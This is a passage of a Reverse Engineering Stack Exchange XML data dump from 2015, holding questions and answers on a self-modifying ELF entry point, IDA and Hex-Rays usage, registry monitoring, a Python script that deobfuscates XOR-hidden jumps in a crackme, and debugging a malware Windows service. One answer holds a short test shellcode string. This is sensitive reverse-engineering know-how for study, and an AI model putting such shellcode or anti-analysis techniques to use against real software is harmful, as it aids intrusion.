0x0804b19c 0x00000 0x00000 RW  0x1000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I observe that the first segments &lt;code&gt;LOAD&lt;/code&gt; has size &lt;code&gt;0x13c7&lt;/code&gt; bytes, and mapped into memory at &lt;code&gt;0xc01000&lt;/code&gt;; the second one is not important because its size is zero. But, the entry point of the ELF file is at &lt;code&gt;0xc023dc&lt;/code&gt;, that means outside any segment &lt;code&gt;LOAD&lt;/code&gt;!!!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use also IDA 6.8 (evaluation ver.) to load this file, and IDA says that the entry point is illegal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since the program has no &lt;code&gt;INTERP&lt;/code&gt; segment, the first executed instruction must be at &lt;code&gt;0xc023dc&lt;/code&gt;. But this address is outside any &quot;reliably&quot; mapped data, we cannot sure which instruction will be executed. I think that this ELF should have some random behaviors (e.g. it should be crashed usually), but it is not, it executes normally, without any crash.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my question is: how can this happen?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;NB1. In case of someone wants to look at this file, I give the link &lt;a href=&quot;https://app.box.com/s/xbyc5r7ladg8uvvr4plwcczkdiubqn3g/&quot; rel=&quot;nofollow&quot; title=&quot;here&quot;&gt;here&lt;/a&gt;, but please do not give directly the solution. I want to handle it myself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;NB2. Using a Pintool to trace out what happens, I find the &lt;code&gt;OEP&lt;/code&gt; of the program is at &lt;code&gt;0xc01dfa&lt;/code&gt; since its trace is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0xc023dc  mov dword ptr [0xc01bf0], 0x252e8 &amp;lt;=== modify address 0xc01bf0&#xA;0xc023e6  jmp 0xc01bf0&#xA;0xc01bf0  call 0xc01e47                     &amp;lt;=== modified instruction&#xA;0xc01e47  pop ebp                           &amp;lt;=== OEP&#xA;0xc01e48  call 0xc01dfa&#xA;0xc01dfa  pop esi&#xA;0xc01dfb  lea eax, ptr [ebp-0x9]&#xA;0xc01dfe  mov edi, dword ptr [eax]&#xA;0xc01e00  sub eax, edi&#xA;0xc01e02  mov edx, eax&#xA;0xc01e04  add eax, dword ptr [eax+0x48]&#xA;0xc01e07  add eax, 0xfff&#xA;0xc01e0c  and eax, 0xfffff000&#xA;0xc01e11  push 0x1&#xA;0xc01e13  push eax&#xA;....&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But I still cannot understand why the instruction at &lt;code&gt;0xc023dc&lt;/code&gt; is always &lt;code&gt;mov dword ptr [0xc01bf0], 0x252e8&lt;/code&gt; (so the binary is somehow &quot;self-modified&quot;)&lt;/p&gt;&#xA;" OwnerUserId="1619" LastEditorUserId="1619" LastEditDate="2015-09-20T23:11:53.827" LastActivityDate="2015-09-20T23:11:53.827" Title="Illegal entry point of an ELF file" Tags="|disassembly|elf|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10893" PostTypeId="2" ParentId="9477" CreationDate="2015-09-17T23:10:11.943" Score="0" Body="&lt;p&gt;Kernel mode memory is not process-specific. It is identical for all processes. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;ntoskrnl.exe is not a process in itself. It is kernel image. Microsoft decided to use same file-format (PE) for the kernel image, as they use for other executables. Kernel image is shared by all processes. &lt;/p&gt;&#xA;" OwnerUserId="13594" LastActivityDate="2015-09-17T23:10:11.943" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10894" PostTypeId="1" AcceptedAnswerId="10898" CreationDate="2015-09-18T07:58:06.017" Score="0" ViewCount="527" Body="&lt;p&gt;I have a GUI app that seems to use registry.&#xA;So I wanna know if I can capture that function that access registry and check if it's activated because this app doesn't use windows directory, it's just a click and a GUI pops pup.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to identify how the app uses registry, how?&lt;/p&gt;&#xA;" OwnerUserId="13539" LastActivityDate="2015-09-18T11:21:30.530" Title="GUI apps uses registry,how?" Tags="|executable|register|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10895" PostTypeId="2" ParentId="10892" CreationDate="2015-09-18T08:03:26.660" Score="5" Body="&lt;p&gt;File/memory mappings are always multiples of the page size, on x86 this is usually 4k. The mapping length here, &lt;code&gt;0x13c7&lt;/code&gt; will be rounded up to a multiple of the page size meaning that &lt;code&gt;0x2000&lt;/code&gt; bytes will be mapped. If you look the raw file at offset &lt;code&gt;0x13dc&lt;/code&gt; you should find these 'extra' instructions.&#xA;The rounding up to page size is necessary because the memory manager and processor page tables work on 4k granularity to reduce the overhead of memory management.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is self-modification going on too. It is the write to memory from the instruction at &lt;code&gt;0xc023dc&lt;/code&gt; which creates the CALL (0xE8) instruction you see at address &lt;code&gt;0xC01BF0&lt;/code&gt;.  This won't be in the raw file.   The write to the code is possible because the code is, unusually, mapped with write (&lt;code&gt;W&lt;/code&gt;) access in the program header.&lt;/p&gt;&#xA;" OwnerUserId="4731" LastActivityDate="2015-09-18T08:03:26.660" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10896" PostTypeId="1" AcceptedAnswerId="10897" CreationDate="2015-09-18T08:28:19.763" Score="0" ViewCount="3290" Body="&lt;p&gt;I am trying to reverse engineer a packet protocol and I was abled to find a subroutine which is likely to be an encryption function. I do not know much about cryptography but it looked like a CBC encryption. Here's the pseudocode I got from IDA: &lt;a href=&quot;http://pastebin.com/UGYpbthr&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://pastebin.com/UGYpbthr&lt;/a&gt; and here is a part from the original subroutine: &lt;a href=&quot;https://i.stack.imgur.com/EBlQa.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://i.stack.imgur.com/EBlQa.png&lt;/a&gt; also here's a part from where the subroutine is called: &lt;a href=&quot;https://i.stack.imgur.com/2S9Nc.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://i.stack.imgur.com/2S9Nc.png&lt;/a&gt; . Is it possible to translate this pseudocode to C code without further reverse engineering ? If so how should I do it ?&lt;/p&gt;&#xA;" OwnerUserId="13325" LastEditorUserId="53" LastEditDate="2015-12-16T17:08:00.827" LastActivityDate="2015-12-16T17:08:00.827" Title="How to translate IDA pseudocode to C/C++ code?" Tags="|ida|packet|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10897" PostTypeId="2" ParentId="10896" CreationDate="2015-09-18T09:18:46.183" Score="2" Body="&lt;p&gt;This specific pseudocode is actually regular C code because it doesn't access global variables and stack. You'll probably need to add some typedefs for basic types.&#xA;Please note that this code should be compiled as 32 bit code (or any other where sizeof int is equal to sizeof of pointer for your specific system) to avoid problems with pointer sizes. &lt;/p&gt;&#xA;" OwnerUserId="2318" LastActivityDate="2015-09-18T09:18:46.183" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10898" PostTypeId="2" ParentId="10894" CreationDate="2015-09-18T09:20:26.713" Score="1" Body="&lt;p&gt;You can try to dissect your executable in IDA Pro and find functions like these: &lt;em&gt;RegOpenKeyEx, RegSetValueEx, RegGetValue, RegQueryValueExW, RegCloseKey, RegOpenCurrentUser&lt;/em&gt; (they are part of &lt;em&gt;advapi32.dll&lt;/em&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you prefer to analyse the registry activity of your app dynamically then use &lt;a href=&quot;http://sourceforge.net/projects/regshot/&quot; rel=&quot;nofollow&quot;&gt;regshot&lt;/a&gt;. It's very easy to use it - just make first shot of the registry before you launch your app and then second shot (after say 3-5 minutes) and then press &lt;em&gt;compare&lt;/em&gt;-button. &lt;a href=&quot;http://sourceforge.net/projects/regshot/&quot; rel=&quot;nofollow&quot;&gt;regshot&lt;/a&gt; will make a report about registry keys/values that have been opened, added, deleted.&lt;/p&gt;&#xA;" OwnerUserId="12670" LastActivityDate="2015-09-18T09:20:26.713" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10899" PostTypeId="2" ParentId="10894" CreationDate="2015-09-18T11:21:30.530" Score="2" Body="&lt;p&gt;To see which registry keys your applications accesses while running, use &lt;a href=&quot;https://technet.microsoft.com/en-us/sysinternals/bb896645.aspx&quot; rel=&quot;nofollow&quot;&gt;Procmon&lt;/a&gt;. If you want to monitor more DLL calls than mere registry accesses, i recommend &lt;a href=&quot;http://www.rohitab.com/apimonitor&quot; rel=&quot;nofollow&quot;&gt;API Monitor&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="4154" LastActivityDate="2015-09-18T11:21:30.530" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10900" PostTypeId="2" ParentId="9298" CreationDate="2015-09-18T11:46:26.563" Score="1" Body="&lt;p&gt;Your shellcode is invalid. Change it to \x90\x90\x90\x90\x90\x90\xcc to check and detect the correct. &lt;a href=&quot;https://i.stack.imgur.com/spY2X.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/spY2X.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2035" LastActivityDate="2015-09-18T11:46:26.563" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10901" PostTypeId="1" AcceptedAnswerId="10938" CreationDate="2015-09-18T19:00:49.113" Score="3" ViewCount="1318" Body="&lt;p&gt;I know hooking is usually used as a technique when one would rather use external (or injected) code to manipulate an executable, vs breakpoints which are usually set by a debugging framework in an attached executable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why would one prefer hooking function calls rather than setting a breakpoint? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only examples I can think of are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;if somehow the control port used for debugging is sabotaged and you just need quick info (e.g. malware: the program is debugging itself as an anti-RE trick)&lt;/li&gt;&#xA;&lt;li&gt;tool preference/preferring a program/tool/automated tool that collects information rather than the tedious task of debugging an application&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Can anyone think of reasons other than these?&lt;/p&gt;&#xA;" OwnerUserId="10058" LastActivityDate="2018-06-10T18:10:15.620" Title="Why hook a function rather than set a breakpoint" Tags="|debugging|malware|function-hooking|breakpoint|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="10902" PostTypeId="1" CreationDate="2015-09-18T20:21:27.760" Score="16" ViewCount="27066" Body="&lt;p&gt;What are some ways to debug third party android apps (apps you don't have the source code to)? I would like to step through the APK instruction by instruction, and possibly set breakpoints on certain APIs or certain smali instructions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried decompiling with apktool, loading into netbeans, and the connecting to the emulator, and I've also tried using IDA Pro, but I always get errors along the lines of &quot;JDWP error: Connection reset by peer&quot;. I've tried with both the default Android emulator and Genymotion with Android 5.0.1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone had any success with this? Could you describe your setup and tools that you used?&lt;/p&gt;&#xA;" OwnerUserId="3434" LastActivityDate="2021-01-02T21:52:34.983" Title="Debugging third party android APKs" Tags="|android|apk|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10903" PostTypeId="1" CreationDate="2015-09-18T23:36:21.167" Score="1" ViewCount="1136" Body="&lt;p&gt;So this is from some &quot;Reversing with Lena&quot; tutorial series on how to start out with reverse engineering and OllyDbg. (Found here &lt;a href=&quot;https://tuts4you.com/download.php?view.124&quot; rel=&quot;nofollow&quot;&gt;https://tuts4you.com/download.php?view.124&lt;/a&gt;) It's a bit old but should still work fine I believe.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Part 1 and 2 worked just fine, but when I try to load the Binary of Part 3 into OllyDbg it complains about a corrupt breakpoint and the assembly shown doesn't look like the assembly in the tutorial at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I choose &quot;Select module =&gt; RegisterMe&quot; in the context menu it looks like it should. However it still doesn't really run (even when I do &quot;New origin here&quot; it only runs a view lines before the same thing happens.&#xA;It kind of just does nothing anymore, OllyDbg says &quot;Running&quot;, the assembly either goes blank (when I didn't change origin) or shows some RtlAllocateHeap function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also there are Access violation errors and exceptions I have to tell it to pass to the program.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The log: &lt;a href=&quot;http://pastebin.com/mCV7Pkxh&quot; rel=&quot;nofollow&quot;&gt;http://pastebin.com/mCV7Pkxh&lt;/a&gt; My only idea is that maybe BitDefender has something to do with it. But it didn't block anything and tried to turn it off too.&lt;/p&gt;&#xA;" OwnerUserId="13601" LastActivityDate="2015-09-18T23:36:21.167" Title="OllyDbg can't run program (breakpoint error, access violation)" Tags="|ollydbg|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10904" PostTypeId="1" CreationDate="2015-09-19T03:39:27.490" Score="0" ViewCount="186" Body="&lt;p&gt;The entry point is set as 007112B0 in the header (shows up in IDA), but it always jumps me to 00B112B0 (which is inside a data segment that is basically empty). What's going on with the executable?&lt;/p&gt;&#xA;" OwnerUserId="13603" LastActivityDate="2015-09-19T15:58:46.840" Title="PE File can't be run - access violation, EP seems to be incorrect?" Tags="|windows|pe|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10905" PostTypeId="2" ParentId="10904" CreationDate="2015-09-19T06:48:43.567" Score="1" Body="&lt;p&gt;If this is the sample You compiled - check Your compiler options and maybe Your source code to find the reason.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this is something You have no source for - worth to start from Static analysis, begin with PE parsing. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have a look on TLS entries: &#xA;&lt;a href=&quot;http://blog.dkbza.org/2007/03/pe-trick-thread-local-storage.html&quot; rel=&quot;nofollow&quot;&gt;http://blog.dkbza.org/2007/03/pe-trick-thread-local-storage.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;p.s. IDA IMHO is not the best choice to analyse PE, try PEstudio - &#xA;&lt;a href=&quot;https://www.winitor.com/&quot; rel=&quot;nofollow&quot;&gt;https://www.winitor.com/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1334" LastActivityDate="2015-09-19T06:48:43.567" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10906" PostTypeId="1" AcceptedAnswerId="10916" CreationDate="2015-09-19T10:06:11.190" Score="6" ViewCount="11328" Body="&lt;p&gt;I'm trying to RE a Windows executable compiled with VS 2008. After the initial autoanalysis most functions are detected correctly; however, some have wrong end address — for some reason IDA places the end of the function earlier, leaving a chunk of code not associated with any function. The undetected function gets &lt;code&gt;noreturn&lt;/code&gt; attribute and often has &lt;code&gt;sp-based autoanalysis failed&lt;/code&gt; message. I have fixed most of these problems by hand. The problem is that Hex-Rays seems to use autodetected function boundaries and therefore the decompilation fails after a jump inside the function, which looks like a jump outside to Hex-Rays.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example hex-rays output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;void __thiscall sub_403CE0(void *this, unsigned int a2, int a3)&#xA;{&#xA;    sub_407F30(this, a2, a3);&#xA;    JUMPOUT(locret_403CFD);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you can see, there is a &lt;code&gt;JUMPOUT&lt;/code&gt; statement at the end of the function. This was correct before the function boundaries were adjusted, but now &lt;code&gt;locret_403CFD&lt;/code&gt; belongs to the function itself and is not a jump “out”. Is there a way to tell hex-rays the function doesn't end here and pass a correct function start/end addresses to it?&lt;/p&gt;&#xA;" OwnerUserId="13606" LastActivityDate="2019-12-26T03:36:27.490" Title="Hex-Rays: JUMPOUT statements inserted due to incorrect autodetected function boundaries" Tags="|ida|hexrays|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10907" PostTypeId="2" ParentId="10904" CreationDate="2015-09-19T15:58:46.840" Score="1" Body="&lt;p&gt;The value in the header (007112B0) is the Relative Virtual Address, which means that the ImageBase value (presumably 00400000) is added to it to convert to a Virtual Address (00B112B0).  The VirtualAddress is the location from which the code will run..  If there is no code at the Virtual Address, then it might be that the EntryPoint value was not set correctly.  Perhaps you meant to set it to 003112B0 (007112B0-ImageBase) instead.&lt;/p&gt;&#xA;" OwnerUserId="1323" LastActivityDate="2015-09-19T15:58:46.840" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10908" PostTypeId="1" AcceptedAnswerId="10919" CreationDate="2015-09-20T05:31:06.363" Score="-1" ViewCount="1081" Body="&lt;p&gt;What does &lt;strong&gt;mov     [edi+68h], eax&lt;/strong&gt; mean in the following asm code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.text:0083FB35       call    esi ; RegisterWindowMessageW&#xA;.text:0083FB37       push    offset My_Priv8_Msg ; &quot;MY_PRIVATE_MSG&quot;&#xA;.text:0083FB3C       mov     [edi+68h], eax&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13612" LastActivityDate="2015-09-21T03:29:31.170" Title="What does “mov [edi+68h], eax” mean?" Tags="|disassembly|assembly|winapi|" AnswerCount="1" CommentCount="1" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10909" PostTypeId="2" ParentId="10906" CreationDate="2015-09-20T06:12:41.160" Score="3" Body="&lt;p&gt;Yes there is. HexRays takes function boundaries from IDA disassembly, so as far as you can change the function boundaries in disassembly view,  you can manage function boundaries as follows (the solution is for you specific case, solving this problem in common may be more complicated):&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Find the function in the disassembly window&lt;/li&gt;&#xA;&lt;li&gt;Go to the end of the code not associated with any function but should be in function you are workung with, press your cursor there.&lt;/li&gt;&#xA;&lt;li&gt;Press &lt;kbd&gt;E&lt;/kbd&gt;. This will mark the current position as an end of the function before the area&lt;/li&gt;&#xA;&lt;li&gt;Go back to decompiler window. Press &lt;kbd&gt;F5&lt;/kbd&gt;. &lt;code&gt;JUMPOUT&lt;/code&gt; should disappear if the address it jumps to now belongs to the function you are working with.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="2318" LastEditorUserId="2318" LastEditDate="2015-09-20T06:29:26.247" LastActivityDate="2015-09-20T06:29:26.247" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="10910" PostTypeId="1" AcceptedAnswerId="11385" CreationDate="2015-09-20T08:10:13.927" Score="4" ViewCount="3277" Body="&lt;p&gt;I am trying to reverse engineer a malware that open a windows service dynamically in OllyDbg. &#xA;When the malware calls &lt;code&gt;StartServiceCtrDispatcherW&lt;/code&gt;,  I receive an error: &#xA;&lt;a href=&quot;https://i.stack.imgur.com/RiD6y.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/RiD6y.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How I can continue to analyze this malware dynamically?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: I already used &lt;code&gt;Image File Execution Options&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="13457" LastEditorUserId="13457" LastEditDate="2015-09-20T11:55:59.230" LastActivityDate="2016-02-20T21:49:50.757" Title="Reversing a Windows service" Tags="|windows|ollydbg|malware|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10911" PostTypeId="1" CreationDate="2015-09-20T09:43:04.433" Score="4" ViewCount="1773" Body="&lt;p&gt;While reversing a piece of malware I've faced with anti-disasm trick, that actually is well described &lt;a href=&quot;https://stackoverflow.com/a/30918572/3441253&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my question is: would the assembly patching of whole the &lt;code&gt;PUSH+RET&lt;/code&gt; stubs to &lt;code&gt;JMP&lt;/code&gt;(i.e. &lt;code&gt;C3&lt;/code&gt;-&gt; &lt;code&gt;FF25XXXX&lt;/code&gt;) or an EA if there is one spare byte immediately after the original &lt;code&gt;RET&lt;/code&gt;. Would these instructions resolve be enough for the wrong disassembly elimination?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If no, what else should resolve the issue?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If yes, has anybody the ready-made IDC/IDAPython sample to automate this  work?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Seems like solution illustrated &lt;a href=&quot;http://www.slideshare.net/geeksec80/introduction-to-ida-python&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;(slide 13) but, unfortunately, no source provided.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPD&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Answer for my own question after a bit of research: patching of original executable not feasible because one command &lt;code&gt;C3&lt;/code&gt; can be overwritten with with only one byte command(&lt;code&gt;90&lt;/code&gt; a.k.a. nop for instance), but not with the minimum needed &lt;code&gt;FF25&lt;/code&gt;. Even unconditional jump will cost more than one byte so the inline possibility isn't  applicable also.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The working ways to eliminate this technique are seems to look like:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Reassemble binary completely(see DynamoRIO-way in ExtremeCoders' answer).&lt;/li&gt;&#xA;&lt;li&gt;Figure out with some sort of IDC script, which will modify only representation in IDA without touching binary. Possible starting points can be found &lt;a href=&quot;https://github.com/bengheng/Expose/tree/master/src/plugin_jmppatch&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="4609" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:19.663" LastActivityDate="2015-09-21T05:00:47.933" Title="Automatically decode PUSH+RET call into JMP" Tags="|ida|disassembly|binary-analysis|idapython|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10912" PostTypeId="2" ParentId="10911" CreationDate="2015-09-20T10:10:44.740" Score="5" Body="&lt;p&gt;I wrote a similar sort of script, while solving a crackme. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;p&gt;The binary in question obfuscated &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;call imm32&#xA;jmp imm32&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;instructions to&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;push   imm32&#xA;xor    dword ptr [esp], imm32&#xA;mov    edx, imm32&#xA;xor    edx, imm32&#xA;jmp    edx&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jmp imm32&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;instructions to&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov    edx, imm32&#xA;xor    edx, imm32&#xA;jmp    edx&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In order to deobfuscate, I wrote a instruction tracer using &lt;em&gt;DynamoRIO&lt;/em&gt;, which logged all basic blocks executed, in a trace file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now by parsing the trace file, and pattern matching using regex it is possible to deobfuscate the obfuscated instructions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since the jump and call destinations need to be calculated dynamically, I used FASM to assemble instructions on the fly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the script. It may not be directly useful, but you will get an idea.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;from capstone import *&#xA;from capstone.x86 import *&#xA;import re&#xA;import binascii&#xA;import subprocess&#xA;import os&#xA;import mmap&#xA;&#xA;'''&#xA;pattern1&#xA;-------------------------------------------------------&#xA;68 ?? ?? ?? ??          push   imm32&#xA;81 34 24 ?? ?? ?? ??    xor    dword ptr [esp], imm32&#xA;ba ?? ?? ?? ??          mov    edx, imm32&#xA;81 f2 ?? ?? ?? ??       xor    edx, imm32&#xA;ff e2                   jmp    edx&#xA;&#xA;Will be rewritten to&#xA;&#xA;call imm32&#xA;jmp imm32&#xA;&#xA;&#xA;pattern2 (only if pattern1 does not match)&#xA;-------------------------------------------------------&#xA;ba ?? ?? ?? ??          mov    edx, imm32&#xA;81 f2 ?? ?? ?? ??       xor    edx, imm32&#xA;ff e2                   jmp    edx&#xA;&#xA;Will be written to&#xA;&#xA;jmp imm32&#xA;&#xA;'''&#xA;&#xA;pat1 = re.compile(r'68.{8}813424.{8}ba.{8}81f2.{8}ffe2')&#xA;pat2 = re.compile(r'ba.{8}81f2.{8}ffe2')&#xA;&#xA;md = Cs(CS_ARCH_X86, CS_MODE_32)&#xA;md.detail = True&#xA;&#xA;handle = open('code_section_p.bin', 'r+b')&#xA;mm = mmap.mmap(handle.fileno(), 0, access = mmap.ACCESS_WRITE)&#xA;&#xA;&#xA;def assemble(asm):&#xA;    f = open('temp.asm', 'w')&#xA;    f.write(asm)&#xA;    f.close()&#xA;    devnull = open(os.devnull, 'w')&#xA;    subprocess.call(['fasm.exe', 'temp.asm'], stdout=devnull, stderr=devnull)&#xA;    return open('temp.bin', 'rb').read()    &#xA;&#xA;&#xA;def pat1_rewrite(buf, off_start, va_start, numBytes): &#xA;    gen = md.disasm(buf[off_start: off_start + numBytes], va_start)&#xA;&#xA;    oper1 = gen.next().operands   # push   imm32&#xA;    oper2 = gen.next().operands   # xor    dword ptr [esp], imm32&#xA;    oper3 = gen.next().operands   # mov    edx, imm32&#xA;    oper4 = gen.next().operands   # xor    edx, imm32&#xA;&#xA;    jmp_target = oper1[0].value.imm ^ oper2[1].value.imm&#xA;    call_target = oper3[1].value.imm ^ oper4[1].value.imm&#xA;&#xA;    return 'use32\n' \&#xA;           'org {}\n'\&#xA;           'call {}\n'\&#xA;           'jmp {}'.format(va_start, call_target, jmp_target)&#xA;&#xA;&#xA;&#xA;def pat2_rewrite(buf, off_start, va_start, numBytes): &#xA;    gen = md.disasm(buf[off_start: off_start + numBytes], va_start)&#xA;&#xA;    oper1 = gen.next().operands   # mov    edx, imm32&#xA;    oper2 = gen.next().operands   # xor    edx, imm32&#xA;&#xA;    jmp_target = oper1[1].value.imm ^ oper2[1].value.imm&#xA;&#xA;    return 'use32\n' \&#xA;           'org {}\n'\&#xA;           'jmp {}'.format(va_start, jmp_target)    &#xA;&#xA;&#xA;&#xA;def analyze_bb(buf, off_start, va_start, bbsize):&#xA;    hexstr = binascii.hexlify(buf[off_start: off_start + bbsize])&#xA;&#xA;    mtch = pat1.search(hexstr)&#xA;    if mtch is not None:&#xA;        start = off_start + mtch.start() / 2&#xA;        numBytes = bbsize - mtch.start() / 2&#xA;        asm = pat1_rewrite(buf, start, va_start + mtch.start() / 2, numBytes)&#xA;        mm.seek(start)&#xA;        assembled = assemble(asm)&#xA;        mm.write(assembled)&#xA;        mm.write('\xCC' * (numBytes - len(assembled)))&#xA;&#xA;&#xA;    else:&#xA;        mtch = pat2.search(hexstr)&#xA;        if mtch is not None:&#xA;            start = off_start + mtch.start() / 2&#xA;            numBytes = bbsize - mtch.start() / 2            &#xA;            asm = pat2_rewrite(buf, start, va_start + mtch.start() / 2, numBytes)&#xA;            mm.seek(start)&#xA;            assembled = assemble(asm)&#xA;            mm.write(assembled)&#xA;            mm.write('\xCC' * (numBytes - len(assembled)))&#xA;&#xA;&#xA;def main():&#xA;    addrStartEnd_list = open('trace.txt', 'r').readlines()&#xA;    buf = open('code_section.bin', 'rb').read()&#xA;&#xA;    for addrStartEnd in addrStartEnd_list:&#xA;        va_start, bbsize = map(lambda x: int(x, 16), addrStartEnd.split())&#xA;        off_start = va_start - 0x30001000&#xA;&#xA;        analyze_bb(buf, off_start, va_start, bbsize) &#xA;        handle.close()&#xA;&#xA;&#xA;&#xA;if __name__ == '__main__':&#xA;    main()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1413" LastActivityDate="2015-09-20T10:10:44.740" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10913" PostTypeId="2" ParentId="10910" CreationDate="2015-09-20T13:40:13.253" Score="-1" Body="&lt;p&gt;Well, as far as I know you can't debug service's handling code inside the debugger(&lt;a href=&quot;https://stackoverflow.com/a/26179587/3441253&quot;&gt;proof&lt;/a&gt;). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you really need it, I think you should stick with kernel debug of vm with malware running, but maybe someone will offer better solution - this one is the first that came to mind.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPD&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a link in comments that covers needed basics of kernel debugging. However, after you finish with setup of all the related things, you might face with the problem of breaking on exact place where service gets started.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think following command will help you to go further unless you did it yourself already: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;bp ADVAPI32!StartServiceCtrlDispatcherW; dd esp&lt;/code&gt; or use &lt;a href=&quot;http://windbg.info/doc/1-common-cmds.html&quot; rel=&quot;nofollow 